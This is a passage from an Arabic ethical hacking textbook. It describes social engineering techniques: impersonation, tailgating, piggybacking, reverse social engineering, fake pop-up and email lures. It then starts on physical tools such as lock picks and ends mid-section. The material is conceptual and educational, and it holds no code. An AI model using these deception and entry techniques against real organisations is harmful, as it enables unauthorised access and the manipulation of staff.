‫ﺷﺨﺼﯿﺎ )‪(In person‬‬
‫اﻟﻣﮭﺎﺟﻣون ﻗد ﯾﺣﺎوﻟون زﯾﺎرة ﻣوﻗﻊ اﻟﮭدف ﺟﺳدﯾﺎ وﻓﺣص ﻣﻧظوﻣﺔ اﻟﻣﻌﻠوﻣﺎت‪ .‬ھﻧﺎك ﻗدر ﻛﺑﯾر ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧﻼﺻﮭﺎ ﻣن‬
‫ﻋﻠﻰ رؤوس اﻟﻣﻛﺎﺗب‪ ،‬ﺳﻠﺔ اﻟﻣﮭﻣﻼت‪ ،‬أو ﺣﺗﻰ اﻟﮭﺎﺗف ودﻻﺋل اﻟﻠوﺣﺎت اﻟﺗﻲ ﺗﺣﻣل أﺳﻣﺎء‪ .‬اﻟﻣﮭﺎﺟﻣون ﻗد ﺗﺧﻔﻲ ﻧﻔﺳﮭﺎ ﺑوﺻﻔﮭﺎ ﻛﺳﺎﻋﻲ أو‬
‫ﺷﺧص اﻟﺗﺳﻠﯾم‪ ،‬ﺑواب‪ ،‬أو ﻛزاﺋر‪ .‬ﯾﻣﻛن أن ﺗطرح ﻧﻔﺳﮭﺎ ﺑوﺻﻔﮭﺎ ﺗﺟﺎري أو اﻟﻌﻣﯾل أو ﻓﻧﻲ‪ .‬ﻣرة واﺣدة داﺧل‪ ،‬ﻓﺈﻧﮭﺎ ﯾﻣﻛن أن ﻧﺑﺣث ﻋن‬
‫ﻛﻠﻣﺎت اﻟﻣرور ﻋﻠﻰ اﻟﻣﺣطﺎت‪ ،‬وﺛﺎﺋﻖ ﻣﮭﻣﺔ ﻣﻠﻘﺎة ﻋﻠﻰ ﻣﻛﺎﺗب‪ ،‬أو ﺣﺗﻰ ﻗد ﺗﺣﺎول ﺳﻣﺎﻋك ﻣﺣﺎدﺛﺎت ﺳرﯾﺔ‪.‬‬
‫ﺗﺷﻣل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ اﻟﺷﺧص ﻣﺳﺢ ﻟﻠﺷرﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻣن‪:‬‬
‫‪ -‬اﻟﺗﻛﻧوﻟوﺟﯾﺎت اﻟﺣﺎﻟﯾﺔ اﻟﺗﻲ ﺗﻌﻣل ﻓﻲ اﻟﺷرﻛﺔ‬
‫‪ -‬ﻣﻌﻠوﻣﺎت اﺗﺻﺎل اﻟﻣوظﻔﯾن وھﻠم ﺟرا‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪948‬‬

‫ﺗﻔﻮﯾﺾ اﻟﻄﺮف اﻟﺜﺎﻟﺚ )‪(Third-party Authorization‬‬

‫آﺧر ﺗﻘﻧﯾﺔ ﺷﻌﺑﯾﺔ ﻟﻠﻣﮭﺎﺟﻣﯾن ھﻲ ﺗﻣﺛﯾل أﻧﻔﺳﮭم ﻛﻌﻣﯾل ﯾﻣﻠك ﺻﻼﺣﯾﺎت ﺣﯾث ﯾﻣﻠﻛون ﺑﻌض اﻟﺳﻠطﺔ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﻧﯾﺎﺑﺔ ﻋﻧﮭم‪ .‬ﻋﻠﻰ‬
‫ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻣﻌرﻓﺔ ﻣن ھو اﻟﻣﺳؤول ﻋن ﻣﻧﺢ إﻣﻛﺎﻧﯾﺔ اﻟوﺻول إﻟﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﻣطﻠوﺑﺔ‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟﻣﯾن ﻣراﻗﺑﺗﮭم ﻟﮫ واﺳﺗﺧدام ﻏﯾﺎب اﻟﻔرد‬
‫ﻟﻼﺳﺗﻔﺎدة ﻣن اﻟوﺻول إﻟﻰ اﻟﺑﯾﺎﻧﺎت اﻟﻣطﻠوﺑﺔ‪.‬‬
‫‪Tailgating‬‬
‫‪ Tailgating‬ھﻲ ﺗﻘﻧﯾﺔ ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم وﺗﺳﺗﺧدم ﺑﺎﻧﺗظﺎم ﻣن ﻗﺑل اﻟﻣﮭﺎﺟﻣﯾن ﻓﻲ اﻟﻌﺎﻟم اﻟﺣﻘﯾﻘﻲ واﺳﺗﺷﺎري اﻷﻣن اﻟﻣﺣﺗرﻓﯾن ﻋﻠﻰ ﺣد ﺳواء‪.‬‬
‫اﻟﻣﻧطﻠﻖ اﻷﺳﺎﺳﻲ ھو اﻻﺳﺗﻔﺎدة ﻣن اﻣﺗﯾﺎزات وﺻول ﻣوظف ﺣﯾث أن ﺷﺧص ﻏﯾر ﻣﺻرح ﻟﮫ ﯾرﺗدي ﺷﺎرة ھوﯾﺔ ﻣزورة ﯾدﺧل ﻣﻧطﻘﺔ اﻣﻧﯾﮫ‬
‫ﻣن ﺧﻼل ﺗﺗﺑﻌﮫ ﻋن ﻛﺛب ﻟﺷﺧص ﻣﺻرح ﻟﮫ ﻣن ﺧﻼل اﻟﺑﺎب اﻟذي ﯾﺗطﻠب ﻣﻔﺗﺎح ﻟﻠدﺧول‪ .‬اﻟﺷﺧص اﻟﻣﺻرح ﺑﮫ ﻗد ﻻ ﯾﻛون ﻋﻠﻰ ﻋﻠم ﺑﺎﻧﮫ ﻗدم‬
‫ﺷﺧص ﻏﯾر ﻣﺻرح ﺑﮫ ﻟﻠوﺻول إﻟﻰ ﻣﻧطﻘﺔ آﻣﻧﺔ‪.‬‬
‫ﻣن اﻟﻣﻣﻛن ﺗﻌزﯾز ھذا اﻟﺗﺄﺛﯾر ﺑطرق ﻣﺧﺗﻠﻔﺔ ﻣﺛل اﻟﺗظﺎھر ﺑﺎن ﻟدﯾك اﺗﺻﺎل ﻋﻠﻰ اﻟﮭﺎﺗف‪ ،‬ﺣﻣل ﻋﻧﺻر ﯾﺑدو ﺛﻘﯾﻼ أو ﺣﺗﻰ اﻟﻣﺷﻲ ﻋﻠﻰ ﻋﻛﺎزﯾن‪.‬‬
‫أي ﺷﻲء ﯾﻣﻛن ﻋﻣﻠﮫ ﻟﺟﻌل اﻟﻔرد أﻗل ﻋرﺿﺔ ﻟﻼﻛﺗﺷﺎف‪ .‬ﯾﺗﺿﻣن ‪ Tailgating‬ﺗوﺻﯾل اﻟﻣﺳﺗﺧدم إﻟﻰ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر ﻟﻧﻔس اﻟﺟﻠﺳﺔ )وﺗﺣت‬
‫ﻧﻔس اﻟﺗﻌرﯾف اﻟﺻﺣﯾﺢ( ﻟﻠﻣﺳﺗﺧدم اﻻﺧر‪ ،‬ﻗﺑل اﻧﻘطﺎع اﻟﺟﻠﺳﺔ‪.‬‬
‫اﻟﮭﻨﺪﺳﺔ اﻻﺟﺘﻤﺎﻋﯿﺔ اﻟﻌﻜﺴﯿﺔ )‪(Reverse Social Engineering‬‬
‫ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻌﻛﺳﯾﺔ‪ ،‬ﻣرﺗﻛب اﻟﺟرﯾﻣﺔ ﯾﺗﻘﻣص دور ﺷﺧص ﻓﻲ اﻟﺳﻠطﺔ ﻟدﯾﮫ ﻣوظﻔﯾن ﯾطﻠب ﻣﻧﮭم اﻟﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت‪ .‬اﻟﻣﮭﺎﺟم‬
‫ﻋﺎدة ﯾﺗﻼﻋب ﺑﺄﻧواع اﻷﺳﺋﻠﺔ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﻣطﻠوﺑﺔ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أوﻻ ﯾﻘوم ﺑﺈﻧﺷﺎء اﻟﻣﺷﻛﻠﺔ‪ ،‬وﻣن ﺛم ﯾﻌرض ﻧﻔﺳﮫ أو‬
‫ﻧﻔﺳﮭﺎ ﻛﺧﺑﯾر ﻟﻣﺛل ھذه اﻟﻣﺷﻛﻠﺔ ﻣن ﺧﻼل ﻣﺣﺎدﺛﺔ ﻋﺎﻣﺔ‪ ،‬وﺗﺷﺟﯾﻊ اﻟﻣوظﻔﯾن ﻋﻠﻰ طﻠب اﻟﺣﻠول‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻗد ﯾطﻠب اﻟﻣوظف ﺣول‬
‫ﻛﯾﻔﯾﺔ أن ھذه اﻟﻣﺷﻛﻠﺔ أﺛرت ﻋﻠﻰ ﻣﻠﻔﺎت ﻣﻌﯾﻧﺔ‪ ،‬اﻟﺧوادم‪ ،‬أو اﻟﻣﻌدات‪ .‬وھذا ﯾوﻓر اﻟﻣﻌﻠوﻣﺎت ذات اﻟﺻﻠﺔ إﻟﻰ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬وھذا ﯾطﻠب‬
‫اﻟﻌدﯾد ﻣن اﻟﻣﮭﺎرات واﻟﺧﺑرات اﻟﻣﺧﺗﻠﻔﺔ ﻟﺗﻧﻔﯾذ ھذا اﻟﺗﻛﺗﯾك ﺑﻧﺟﺎح‪.‬‬
‫‪Piggybacking‬‬
‫‪ Piggybacking‬ھﻲ ﻋﻣﻠﯾﺔ ھﺟوم ﻋﻠﻰ اﻟﺑﯾﺎﻧﺎت واﻟﺗﻲ ﯾﻣﻛن اﻟﻘﯾﺎم ﺑﮫ ﺟﺳدﯾﺎ وإﻟﻛﺗروﻧﯾﺎ‪ .‬وﯾﺗﺣﻘﻖ ‪ Piggybacking‬اﻟﺟﺳدي ﻣن ﻗﺑل إﺳﺎءة‬
‫اﺳﺗﺧدام ﺟﻣﻌﯾﺔ وھﻣﯾﮫ ﻟﻛﺳب ﻣﯾزة واﻟوﺻول‪ .‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم أن ﯾﻧزﻟﻖ وراء ﻣوظف ﺷرﻋﻲ واﻟوﺻول إﻟﻰ ﻣﻧطﻘﺔ آﻣﻧﺔ واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ ﻋﺎدة‬
‫أن ﺗﻛون ﻣؤﻣﻧﮫ أو ﺗﺗطﻠب ﻧوع ﻣن اﻟوﺻول ‪ biometric access‬ﻟﻠدﺧول وآﻟﯾﺔ ﻣراﻗﺑﺔ ﻟﻔﺗﺢ ﻗﻔل اﻟﺑﺎب‪ ،‬اﻟﺦ‪.‬‬
‫ﯾﻣﻛن ﺗﺣﻘﯾﻖ ‪ Piggybacking‬اﻹﻟﻛﺗروﻧﻲ ﻣن ﺧﻼل ﺷﺑﻛﺔ أو ﻣﺣطﺔ ﻋﻣل ﺣﯾث اﻟوﺻول إﻟﻰ أﻧظﻣﺔ اﻟﻛﻣﺑﯾوﺗر اﻟﺗﻲ ﺗﻘﺗﺻر ﻋﻠﻰ أوﻟﺋك‬
‫اﻷﻓراد اﻟذﯾن ﻟدﯾﮭم ھوﯾﺔ اﻟﻣﺳﺗﺧدم اﻟﺻﺣﯾﺢ وﻛﻠﻣﺔ اﻟﻣرور‪ .‬ﻋﻧدﻣﺎ ﯾﻔﺷل اﻟﻣﺳﺗﺧدم ﻹﻧﮭﺎء اﻟدورة ﺑﺷﻛل ﺻﺣﯾﺢ‪ ،‬وﺗﺳﺟﯾل ﺧروج ﻏﯾر ﻧﺎﺟﺢ أو‬
‫ﯾﺟوز ﻟﻠﺷﺧص أن ﯾﺣﺿر إﻟﻰ ﻋﻣل آﺧر ﻓﻲ ﺣﯾن ﻻ ﯾزال ﺑﺗﺳﺟﯾل اﻟدﺧول‪ .‬ﻓﻲ ھذه اﻟﺣﺎﻟﺔ‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم اﻻﺳﺗﻔﺎدة ﻣن ﺟﻠﺳﺔ اﻟﻌﻣل ﻧﺷطﮫ‪.‬‬

‫‪Computer-Based Social Engineering‬‬

‫اﻟﺟزء اﻟﻘﺎﺋم ﻋﻠﻰ اﻟﺣﺎﺳوب ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣﻌظﻣﮭﺎ ﺑﺎﺳﺗﺧدام اﻟﺑراﻣﺞ اﻟﺧﺑﯾﺛﺔ اﻟﻣﺧﺗﻠﻔﺔ وﺗطﺑﯾﻘﺎت اﻟﺑرﻣﺟﯾﺎت ﻣﺛل رﺳﺎﺋل اﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ‪ ،‬وأﺣﺻﻧﺔ طروادة‪ ،‬واﻟدردﺷﺔ‪ ،‬اﻟﺦ وھﻧﺎك أﻧواع ﻋدﯾدة ﻣن ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﻌﺗﻣدة ﻋﻠﻰ اﻟﺣﺎﺳوب؛ ﺑﻌض ﻣﻧﮭم ﻋﻠﻰ‬
‫اﻟﻧﺣو اﻟﺗﺎﻟﻲ‪:‬‬
‫‪Pop-up Windows‬‬
‫اﻟﻧﺎﻓذة ﻣﻧﺑﺛﻘﺔ طرﯾﻘﺔ ﺷﺎﺋﻌﺔ ﻹﻏراء اﻟﻣﺳﺗﺧدم ﻟﻠﻧﻘر ﻋﻠﻰ زر ﻓﻲ ﻧﺎﻓذة ﻣﻧﺑﺛﻘﺔ ﺗﻘوم ﺑﺎﻟﺗﺣذﯾر ﺣول ﻣﺷﻛﻠﺔ ﻣﺎ ﻣﺛل ﻋرض واﻗﻌﻲ ﻟﻧظﺎم اﻟﺗﺷﻐﯾل أو‬
‫رﺳﺎﻟﺔ ﺧطﺄ ﺗطﺑﯾﻖ‪ ،‬أو ﻣن ﺧﻼل ﺗﻘدﯾم ﺧدﻣﺎت إﺿﺎﻓﯾﺔ‪ .‬ﯾظﮭر إطﺎر ﻋﻠﻰ اﻟﺷﺎﺷﺔ ﯾطﻠب اﻟﻣﺳﺗﺧدم ﻹﻋﺎدة ﺗﺳﺟﯾل اﻟدﺧول‪ ،‬أو أن اﻻﺗﺻﺎل ﻗد‬
‫اﻧﻘطﻊ ﻋن اﻟﻣﺿﯾف وﯾﺣﺗﺎج اﺗﺻﺎل اﻟﺷﺑﻛﺔ إﻟﻰ إﻋﺎدة اﻟﺗﺳﺟﯾل‪ .‬ﺳﯾﻘوم اﻟﺑرﻧﺎﻣﺞ اﻟﻣﻧﺑﺛﻖ ﺑﺈرﺳﺎل ﻣﻌﻠوﻣﺎت اﻟوﺻول إﻟﻰ اﻟﻣﮭﺎﺟم‪ .‬ھذا اﻟﻧوع ﻣن‬
‫اﻟﮭﺟوم ﯾﻣﻛن إﻧﺟﺎزه ﺑﺎﺳﺗﺧدام أﺣﺻﻧﺔ طروادة واﻟﻔﯾروﺳﺎت‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ أﻣﺛﻠﺔ ﻋﻠﻰ اﺛﻧﯾن ﻣن ھذه اﻟﻧواﻓذ اﻟﻣﻧﺑﺛﻘﺔ ﺗﺳﺗﺧدم ﻟﺧداع اﻟﻣﺳﺗﺧدﻣﯾن‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪949‬‬

‫اﻟﺒﺮﯾﺪ اﻟﻤﺰﻋﺞ )‪(Spam Emails‬‬

‫ھﻧﺎ اﻟﻣﮭﺎﺟم ﯾرﺳل رﺳﺎﻟﺔ ﺑﺎﻟﺑرﯾد اﻻﻟﻛﺗروﻧﻲ إﻟﻰ اﻟﮭدف ﻟﺟﻣﻊ ﻣﻌﻠوﻣﺎت ﺳرﯾﺔ ﻣﺛل ﺗﻔﺎﺻﯾل اﻟﺣﺳﺎﺑﺎت اﻟﺑﻧﻛﯾﺔ‪ .‬ﯾﻣﻛن أﯾﺿﺎ إرﺳﺎل اﻟﻣﮭﺎﺟﻣﯾن‬
‫ﻣرﻓﻖ ﺿﺎر ﻣﺛل ﻓﯾروس أو ﺣﺻﺎن طروادة ﻣﻊ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺣﺎول إﺧﻔﺎء ﻣﻠﺣﻖ اﻟﻣﻠف ﻣن ﺧﻼل ﻣﻧﺢ اﻟﻣرﻓﻖ اﺳم‬
‫ﻣﻠف طوﯾل‪.‬‬
‫رﺳﺎﺋﻞ اﻟﻤﺤﺎدﺛﺔ اﻟﻔﻮرﯾﺔ )‪(Instant Chat Messenger‬‬
‫ﻣﮭﺎﺟم ﯾﺣﺗﺎج ﻓﻘط ﻟﻠدردﺷﺔ ﻣﻊ ﺷﺧص ﻣﺎ ﺛم ﯾﺣﺎول اﻧﺗزاع اﻟﻣﻌﻠوﻣﺎت‪ .‬ﺑﺎﺳﺗﺧدام ﺻورة راﺋﻌﺔ أﺛﻧﺎء اﻟدردﺷﺔ‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم ﻣﺣﺎوﻟﺔ إﻏراء‬
‫اﻟﺿﺣﯾﺔ‪ .‬ﺛم‪ ،‬ﺑﺑطء اﻟﻣﮭﺎﺟم ﯾﻣﻛن أن ﯾﺳﺄل ﺑﻌض اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺛﯾر اﻟﮭدف ﻹﺧراج اﻟﻣﻌﻠوﻣﺎت‪ .‬ﯾﺳﺄﻟون أﺳﺋﻠﺔ ﻣﺧﺗﻠﻔﺔ ﻟﻠﺣﺻول ﻋﻠﻰ‬
‫اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﮭدف وﻛﻠﻣﺔ اﻟﻣرور‪ .‬اﻟﻣﮭﺎﺟم أوﻻ ﯾﺧﻠﻖ اﻟﺛﻘﺔ اﻟﻌﻣﯾﻘﺔ ﻣﻊ اﻟﮭدف ﺛم ﯾﻘوم ﺑﺎﻟﮭﺟوم اﻟﻧﮭﺎﺋﻲ‪.‬‬
‫رﺳﺎﺋﻞ اﻟﺨﺪﻋﺔ )‪(Hoax Letters‬‬
‫رﺳﺎﺋل اﻟﺧدﻋﺔ ھﻲ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺗﻲ ھﻲ ﺗﺣذﯾرات ﻟﻠﻣﺳﺗﺧدم ﻋن اﻟﻔﯾروﺳﺎت اﻟﺟدﯾدة‪ ،‬وأﺣﺻﻧﺔ طروادة‪ ،‬واﻟدﯾدان أو اﻟﺗﻲ ﻗد‬
‫ﺗﺿر ﺑﻧظﺎم اﻟﻣﺳﺗﺧدم‪ .‬ھم ﻋﺎدة ﻻ ﯾﺳﺑب أي ﺿرر ﻣﺎدي أو ﻓﻘدان اﻟﻣﻌﻠوﻣﺎت؛ أﻧﮭﺎ ﺗﺳﺑب ﻓﻘدان اﻹﻧﺗﺎﺟﯾﺔ وأﯾﺿﺎ اﺳﺗﺧدام ﻣوارد ﺷﺑﻛﺔ ﻗﯾﻣﺔ‬
‫ﻟﻠﻣﻧظﻣﺔ‪.‬‬
‫ﺳﻠﺴﻠﺔ ﻣﻦ اﻟﺮﺳﺎﺋﻞ )‪(Chain Letters‬‬
‫ﺳﻠﺳﻠﺔ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ھﻲ اﻟﺗﻲ ﺗﻘدم ھداﯾﺎ ﻣﺟﺎﻧﯾﺔ ﻣﺛل اﻟﻣﺎل واﻟﺑرﻣﺟﯾﺎت ﻋﻠﻰ ﺷرط أن اﻟﻣﺳﺗﺧدم ﻟدﯾﮫ إرﺳﺎل اﻟﺑرﯾد إﻟﻰ ﻋدد ﻣن‬
‫اﻷﺷﺧﺎص‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪950‬‬

‫‪ 9.3‬أدوات اﻟﮭﻨﺪﺳﺔ اﻻﺟﺘﻤﺎﻋﯿﺔ )‪(SOCIAL ENGINEERING TOOLS‬‬

‫ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺟود ﻣﺟﻣوﻋﺔ ﻣن اﻷدوات اﻟﻼﺋﻘﺔ ﯾﻣﻛﻧﮭﺎ أن ﯾﺻﻧﻊ أو ﯾﻛﺳر ﻗدرة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻛﻲ ﺗﻛون‬
‫ﻧﺎﺟﺣﺔ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻓﺈﻧﮫ ﻟﯾس ﻟدﯾﮫ اﻟﻛﺛﯾر ﻣن اﻷدوات وﻟﻛن أﯾﺿﺎ اﻣﺗﻼك اﻟﻣﻌرﻓﺔ ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ ﯾﻣﻛن ﺳد اﻟﻔﺟوة ﺑﯾن اﻟﻧﺟﺎح‬
‫واﻟﻔﺷل‪.‬‬
‫ﯾﻧﺎﻗش ھذا اﻟﻔﺻل اﻻﺧﺗﻼﻓﺎت ﺑﯾن اﻷدوات اﻟﻣﺎدﯾﺔ‪ ،‬وأدوات اﻟﮭﺎﺗف‪ ،‬واﻷدوات اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﺑرﻣﺟﯾﺎت‪ .‬ﻧﻼﺣظ أن ﻣﺟرد اﻣﺗﻼك اﻷدوات‬
‫اﻷﻏﻠﻰ أو اﻷﻓﺿل ﻟن ﺗﺟﻌﻠك ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ﯾﻣﻛن ﻟﻸدوات ﺗﻌزﯾز طرﯾﻘﺔ اﻟﻣﻣﺎرﺳﺎت اﻷﻣﻧﯾﺔ واﻟﺗﻲ ﺗﻣﻛن ﻣن ﻣزج اﻟﺗواﺑل‬
‫ﺑﺎﻟطرﯾﻘﺔ اﻟﺻﺣﯾﺣﺔ واﻟﺗﻲ ﯾﻣﻛن أن ﺗزﯾد ﻣن اﻟوﺟﺑﺔ اﻟﻛﺛﯾر ﺟدا أو اﻟﻘﻠﯾل ﺟدا واﻟﺗﻲ ﻣن اﻟﻣﻣﻛن أن ﯾﺟﻌﻠﮫ وﺟﺑﺔ ﻟطﯾﻔﮫ أو ﻣﻔرطﮫ‪ .‬ﻓﺄﻧك ﻻ ﺗرﯾد‬
‫أن ﺗﺑدو وﻛﺄﻧك ﺑﺎﺗﻣﺎن ﯾرﺗدي ﺣزام أدوات ﻟﻠﺧوض ﻓﻲ ﺣﻔﻠﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﻻ ﺗرﯾد أن ﺗﻛون ﻋﻠﻰ اﻟﺑﺎب اﻷﻣﺎﻣﻲ ﻟﻠﮭدف دون ﻣﺟﻣوﻋﺔ‬
‫اﻷدوات اﻟﻣﻧﺎﺳﺑﺔ ﻟﻠوﺻول‪.‬‬
‫ﻓﺋﺔ أدوات اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟدﯾﮭﺎ اﻟﻘدرة ﻋﻠﻰ أن ﺗﻛون ﺿﺧﻣﺔ‪ ،‬وﻟﻛن ھذا اﻟﻛﺗﺎب ﻻ ﯾﺣﺎول أن ﯾﺻﺑﺢ دﻟﯾل ﻋﻠﻰ ﻛﯾﻔﯾﺔ ﻓﺗﺢ اﻷﻗﻔﺎل أو‬
‫اﻧﺗﺣﺎل رﻗم اﻟﮭﺎﺗف‪ .‬ﺑدﻻ ﻣن ذﻟك ھو ﻣﺣﺎوﻟﺔ ﻟﯾﻌطﯾك ﻣﻌﻠوﻣﺎت ﻛﺎﻓﯾﺔ ﻟﺗﺣدﯾد ﻣﺎ ھﻲ اﻷدوات ﻣن ﺷﺄﻧﮭﺎ أن ﺗزﯾد اﻟﻣﻣﺎرﺳﺔ اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫اﻟﻘﺳم اﻷول ﻣن ھذا اﻟﻔﺻل‪ ،‬ﯾﻣﺛل "اﻷدوات اﻟﻣﺎدﯾﺔ‪ "،‬واﻟﺗﻲ ﺗرﻛز ﻋﻠﻰ أﺷﯾﺎء ﻣﺛل ﻓﺗﺢ اﻻﻗﻔﺎل‪ ،‬اﻟﺗﺷﻔﯾر‪ ،‬واﻟﻛﺎﻣﯾرات‪ .‬ﺑﻌض اﻷدوات اﻟﺟدﯾدة‬
‫واﻟﻣﺛﯾرة اﻟﻣوﺟودة ﻓﻲ اﻟﺳوق واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺟﻌل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺷﻌر ﻣﺛل ﺟﯾﻣس ﺑوﻧد‪ .‬ﯾﻐطﻲ ھذا اﻟﻔﺻل ﺑﻌض ھذه اﻷدوات‬
‫وﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ‪ ،‬وﺣﺗﻰ ﯾظﮭر ﺑﻌض اﻟﺻور ﻣن اﻷدوات‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﯾﻘدم ھذا اﻟﻔﺻل ﺑﻌض اﻟﻣﻌﻠوﻣﺎت ﺣول اﺳﺗﺧدام اﻟﮭﺎﺗف‬
‫ﺑﺎﻟﺗﺣﺎﯾل ﻓﻲ ھﺟوم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﯾﺳﺗﻣر ﻣﻊ ﻣﻧﺎﻗﺷﺔ ﺑﻌض ﻣن أﻓﺿل أدوات اﻟﺑرﻣﺟﯾﺎت اﻟﻘﺎﺋﻣﺔ ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﺳوق‪ ،‬ﺛم ﯾﻧﺗﮭﻲ‬
‫ﻣﻧﺎﻗﺷﺔ ﺣول أدوات اﻟﺗﻧﻣﯾط ﻛﻠﻣﺔ اﻟﻣرور )‪.(password profiling tools‬‬

‫اﻷدوات اﻟﻣﺎدﯾﺔ )‪(Physical Tools‬‬

‫ﯾﺗﺄﻟف اﻷﻣن اﻟﻣﺎدي ﻋﻠﻰ اﻟﺗداﺑﯾر اﻟﺗﻲ ﺗﺗﺧذھﺎ اﻟﺷرﻛﺎت أو اﻷﺷﺧﺎص ﻟﻛﻲ ﺗﺑﻘﻰ آﻣﻧﺔ واﻟﺗﻲ ﻻ ﺗﻧطوي ﻋﻠﻰ ﺟﮭﺎز ﻛﻣﺑﯾوﺗر‪ .‬وﻏﺎﻟﺑﺎ ﻣﺎ ﺗﻧطوي‬
‫ﻋﻠﻰ اﻷﻗﻔﺎل وﻛﺎﻣﯾرات اﻟﻣراﻗﺑﺔ‪ ،‬وأﺟﮭزة اﻻﺳﺗﺷﻌﺎر‪ ،‬وﻣﺎ ﺷﺎﺑﮫ ذﻟك‪ .‬ﻓﮭم اﻷﻣن اﻟﻣﺎدي وﻛﯾف ﯾﻌﻣل ھو ﺟزء ﻣن ﻛوﻧك ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‬
‫ﺟﯾد‪ .‬إﻧك ﻟن ﺗﻛون ﻣﮭﻧدﺳﺎ ﻣﻊ ھذه اﻷﺟﮭزة وﻟﻛن ﯾﻣﻛﻧﮭﺎ ﻓﮭم واﺿﺢ ﻷﻟﯾﺎت أﻣن اﻟﮭدف واﻟﺗﻲ ﻣن اﻟﻣﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺗﻐﻠب ﻋﻠﻰ‬
‫اﻟﻌﻘﺑﺎت اﻟﺗﻲ ﻗد ﺗﻘف ﻓﻲ طرﯾﻖ ﻧﺟﺎح ﻋﻣﻠﯾﺔ ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬

‫اﻻﻗﻔﺎل )‪(Lock Picks‬‬

‫ﻗﺑل اﻟدﺧول ﻓﻲ ﻣوﺿوع ﻓﺗﺢ اﻷﻗﻔﺎل ﯾﺟب ﻋﻠﯾك أن ﺗﻌرف ﻗﻠﯾﻼ ﻋن ﻛﯾﻔﯾﺔ ﻋﻣل اﻟﻘﻔل‪ .‬ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﺻورة ﺗﻘرﯾﺑﯾﺔ ﺟدا ﻟﻘﻔل ﺑﺳﯾط‪.‬‬

